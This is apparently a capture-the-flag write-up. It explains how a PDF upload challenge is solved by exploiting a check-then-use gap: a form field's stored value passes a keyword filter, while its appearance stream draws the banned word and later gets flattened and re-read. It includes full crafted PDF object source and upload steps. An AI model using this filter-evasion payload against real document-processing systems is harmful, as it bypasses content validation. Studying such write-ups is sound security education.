misc-CUSTÖMER SUPPÖRT
OverView
This challenge accepts a single-page PDF at POST /upload, validates its text to block unreleased keywords (including FLAG), then “prints” the file via headless Firefox (Puppeteer) back onto itself, and finally re-parses the resulting PDF to assemble “did you know” facts. The validation step concatenates:
- page text from
getTextContent().items[].str, and - for Widget annotations, only the form field value.
Crucially, the validator does not inspect the annotation’s appearance stream (/AP). After validation, the printing step flattens annotation appearances into page content. The final extraction therefore sees whatever the appearance drew—even if validation never saw it.
Solution
Exploit a TOCTOU gap by crafting a text field Widget annotation whose:
- Value
/Vis safe so validation passes, while - Normal appearance
/AP /Nrenders the visible textFLAGusing standard text operators with a Base14 font (Helvetica).
Flow:
- Validation: Sees
/V (GALF)(no banned token) → passes. - Print/Flatten: Headless Firefox bakes the annotation appearance into page content.
- Re-Extraction: pdf.js now extracts
FLAGfrom the flattened page → the app reveals the environmentFLAGin the “did you know” line.
Constraints to respect:
- 1 page, < 1 MB,
.pdfextension,Content-Type: application/pdf.
Exploit
% Catalog / AcroForm
1 0 obj << /Type /Catalog /Pages 2 0 R /AcroForm 6 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
% Single page with Helvetica
3 0 obj << /Type /Page /Parent 2 0 R
/MediaBox [0 0 595 842]
/Resources << /Font << /F1 4 0 R >> >>
/Annots [5 0 R] >> endobj
4 0 obj << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> endobj
% Widget annotation: /V is safe, /AP draws FLAG
5 0 obj
<< /Type /Annot /Subtype /Widget /FT /Tx
/T (Field1)
/V (GALF) % <-- what validation reads
/F 4 % print flag
/Rect [150 450 450 580]
/AP << /N 7 0 R >> % <-- what the renderer flattens
>> endobj
% AcroForm
6 0 obj << /Fields [5 0 R] /NeedAppearances false >> endobj
% Appearance XObject: draw FLAG as real text
7 0 obj
<< /Type /XObject /Subtype /Form /BBox [0 0 595 842]
/Resources << /Font << /F1 4 0 R >> >>
/Length ... >>
stream
q
/F1 72 Tf
1 0 0 1 200 500 Tm
(FLAG) Tj % <-- visible FLAG after flattening
Q
endstream
endobj
Steps to reproduce:
-
Build a one-page PDF that includes the Widget above (value
/V (GALF), appearance/AP /NdrawsFLAG). -
Upload as multipart/form-data to
/uploadwith field nameinvoice. -
The server validates
/V(passes), prints/overwrites (flattens AP), then extractsFLAGand renders the line:"... that the flag for this challenge is ${FLAG}?"